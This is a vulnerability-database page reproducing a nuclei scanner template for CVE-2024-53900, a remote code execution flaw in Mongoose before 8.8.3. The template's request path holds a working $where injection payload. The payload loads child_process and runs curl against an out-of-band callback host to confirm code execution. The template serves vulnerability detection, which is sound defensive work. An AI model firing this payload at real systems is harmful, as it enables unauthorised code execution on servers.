Lucene search
K

Mongoose < 8.8.3 - Remote Code Execution

🗓️ 03 Jun 2026 06:04:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Mongoose before 8.8.3 allows remote code execution via improper $where usage causing search injection.

Related
Refs
Code
id: CVE-2024-53900

info:
  name: Mongoose < 8.8.3 - Remote Code Execution
  author: h4mg
  severity: critical
  description: |
    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
  impact: |
    Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.
  remediation: |
    Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.
  reference:
    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
    - https://github.com/advisories/GHSA-m7xq-9374-9rvx
    - https://www.youtube.com/watch?v=WX_N1NGPbug
    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-53900
    cwe-id: CWE-89
    epss-score: 0.52176
    epss-percentile: 0.97968
  metadata:
    verified: true
    max-request: 1
    product: mongoose
    framework: nodejs
    shodan-query: "Server: Mongoose"
  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev

variables:
  pfield: "author"

http:
  - method: GET
    path:
      - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
# digest: 490a00463044022078a7c15b732b87f1088cf0b9c2a022426a38e78c22751f355adeb6f52072561f022076d0eb6e8059da12be9c52e1a87e377102c362df9fdce8469eb4dd74eaf0000a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.5High risk
Vulners AI Score7.5
CVSS 3.19.1
EPSS0.52176
SSVC
6